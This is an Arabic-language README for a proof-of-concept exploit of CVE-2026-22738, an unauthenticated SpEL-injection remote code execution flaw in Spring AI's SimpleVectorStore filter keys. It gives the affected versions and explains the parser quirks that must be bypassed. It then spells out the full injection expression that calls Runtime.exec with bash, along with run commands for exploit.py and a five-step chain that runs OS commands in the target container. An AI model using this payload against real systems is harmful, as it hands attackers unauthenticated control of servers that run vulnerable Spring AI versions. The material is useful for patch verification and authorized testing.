
إثبات مفهوم لاستغلال CVE-2026-22738، وهي ثغرة حرجة من نوع حقن SpEL تؤدي إلى تنفيذ أوامر عن بُعد (RCE) في Spring AI SimpleVectorStore، مع عرض تنفيذ أوامر نظام التشغيل دون مصادقة.
تنفيذ أوامر عن بُعد بدون مصادقة عبر حقن لغة تعبير Spring (SpEL) في SimpleVectorStore.similaritySearch().
| Artifact | الإصدارات المعرضة | الإصدار المُصلَح |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
الالتزام المُصلِح: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
تقوم SimpleVectorStore.similaritySearch() بتمرير اسم مفتاح الفلتر المقدَّم من المُتصل حرفيًا إلى قالب SpEL يتم تقييمه بواسطة StandardEvaluationContext. ولأن StandardEvaluationContext يكشف كامل واجهة انعكاس JVM، يمكن للمهاجم حقن:
T(java.lang.Runtime).getRuntime().exec(...)
في مفتاح الفلتر لتحقيق تنفيذ أوامر نظام التشغيل بدون مصادقة.
الحقن الساذج لا يعمل مباشرة — يجب تجاوز خاصيتين غريبتين في المُحلِّل:
' يُعامَل كسلسلة نصية مقتبسة؛ يتم إزالة علامات الاقتباس الخارجية، مما يشوّه الحمولة."..." يجعل المُحلِّل يزيل علامات الاقتباس المزدوجة الخارجية، تاركًا تعبير SpEL الداخلي سليمًا كقيمة المفتاح الممرَّرة إلى #metadata['<KEY>'].#metadata[''] على جانبي التعبير المحقون (بدلاً من متغير غير معرَّف) يتجنب خطأ SpEL الخاص بـ unknown variable مع الاستمرار في تشغيل exec().التعبير المُقيَّم الناتج يأخذ الشكل التالي:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
سيحتوي جسم استجابة HTTP على EL1030E — خطأ وقت تشغيل SpEL:
operator ADD not supported between null and java.lang.ProcessImpl
يُثار هذا الخطأ بعد عودة exec()، مما يؤكد تنفيذ أوامر على مستوى نظام التشغيل دون الحاجة إلى استدعاء خارج النطاق.
المتطلبات الأساسية:
pip install requests
تشغيل الاستغلال:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop (macOS/Windows): استخدم host.docker.internal بدلاً من 127.0.0.1 لحمولات الاستدعاء.
ينفّذ إثبات المفهوم خمس خطوات متسلسلة:
| الخطوة | الوصف |
|---|---|
| 1 | فحص أساسي — تأكيد أن نقطة النهاية قابلة للوصول وتُرجع البيانات المُجهَّزة |
| 2 | فحص SpEL أعمى — قراءة java.version عبر T(java.lang.System) لتأكيد نقطة الحقن |
| 3 | تنفيذ أوامر: touch /tmp/pwned_cve_2026_22738 داخل الحاوية |
| 4 | تنفيذ أوامر: كتابة مخرجات id / uname / hostname إلى /tmp/rce_proof.txt |
| 5 | التحقق عبر docker exec — طباعة محتويات ملف الإثبات |
تم توفير إثبات المفهوم هذا لأغراض تعليمية واختبار أمني مُصرَّح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.